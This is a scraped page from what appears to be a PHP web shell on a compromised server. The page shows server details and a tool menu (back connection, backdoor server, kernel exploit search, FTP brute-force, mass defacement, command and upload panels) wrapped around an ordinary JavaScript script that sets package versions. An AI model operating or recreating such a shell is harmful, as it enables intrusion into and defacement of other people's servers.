IP Address: 80.252.133.24:443 You: 216.73.216.93
| |||||||||||||||||||
|
| ||||||||||||||||||
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON | |||||||||||||||||||
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, | |||||||||||||||||||
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ] |
|||||||||||||||||||
| |||||||||||||||||||
/ http/ root/ hls/ scripts/ - drwxr-xr-x |
Viewing file:
Select action/file-type: 'use strict'; const fs = require('fs'); const versionParser = require('./version-parser.js'); const packageJson = require('../package.json'); const { isValidStableVersion, incrementPatch } = require('./version-parser.js'); const TRAVIS_MODE = process.env.TRAVIS_MODE; const latestVersion = getLatestVersionTag(); let newVersion = ''; try { if (TRAVIS_MODE === 'release') { // write the version field in the package json to the version in the git tag const tag = process.env.TRAVIS_TAG; if (!versionParser.isValidVersion(tag)) { throw new Error(`Unsupported tag for release: "${tag}"`); } // remove v newVersion = tag.substring(1); if (!versionParser.isDefinitelyGreaterThanAlphas(newVersion)) { // 1.2.3-0.alpha.500 // 1.2.3-0.alpha.501 // 1.2.3-0.aaalpha.custom => bad // 1.2.3-0.aaalpha.custom.0.alpha.503 => now lower than 1.2.3-0.alpha.501 throw new Error(`It's possible that "${newVersion}" has a lower precedense than an existing alpha version which is not allowed.`); } } else if (TRAVIS_MODE === 'releaseAlpha' || TRAVIS_MODE === 'netlifyPr' || TRAVIS_MODE === 'netlifyBranch') { // bump patch in version from latest git tag let intermediateVersion = latestVersion; const isStable = isValidStableVersion(intermediateVersion); // if last git tagged version is a prerelease we should append `.0.<type>.<commit num>` // if the last git tagged version is a stable version then we should append `-0.<type>.<commit num>` and increment the patch // `type` can be `pr`, `branch`, or `alpha` if (isStable) { intermediateVersion = incrementPatch(intermediateVersion); } // remove v intermediateVersion = intermediateVersion.substring(1); const suffix = TRAVIS_MODE === 'netlifyPr' ? `pr.${process.env.REVIEW_ID/* set by netlify */}.${getCommitHash().substr(0, 8)}` : TRAVIS_MODE === 'netlifyBranch' ? `branch.${process.env.BRANCH/* set by netlify */.replace(/[^a-zA-Z0-9]/g, '-')}.${getCommitHash().substr(0, 8)}` : `0.alpha.${getCommitNum()}`; newVersion = `${intermediateVersion}${isStable ? '-' : '.'}${suffix}`; } else { throw new Error('Unsupported travis mode: ' + TRAVIS_MODE); } if (!versionParser.isGreaterOrEqual(newVersion, latestVersion)) { throw new Error(`New version "${newVersion}" is not >= latest version "${latestVersion}" on this branch.`); } packageJson.version = newVersion; fs.writeFileSync('./package.json', JSON.stringify(packageJson)); console.log('Set version: ' + newVersion); } catch (e) { console.error(e); process.exit(1); } process.exit(0); function getCommitNum () { return parseInt(exec('git rev-list --count HEAD'), 10); } function getCommitHash () { return exec('git rev-parse HEAD'); } function getLatestVersionTag () { let commitish = ''; while (true) { const tag = exec('git describe --abbrev=0 --match="v*" ' + commitish); if (!tag) { throw new Error('Could not find tag.'); } if (versionParser.isValidVersion(tag)) { return tag; } // next time search older tags than this one commitish = tag + '~1'; } } function exec (cmd) { return require('child_process').execSync(cmd).toString().trim(); } |
Command: | |
Quick Commands: | |
Upload: | |
PHP Filesystem: |
<@ Ú |
Search File: | |
Create File: | |
View File: | |
Mass Defacement: |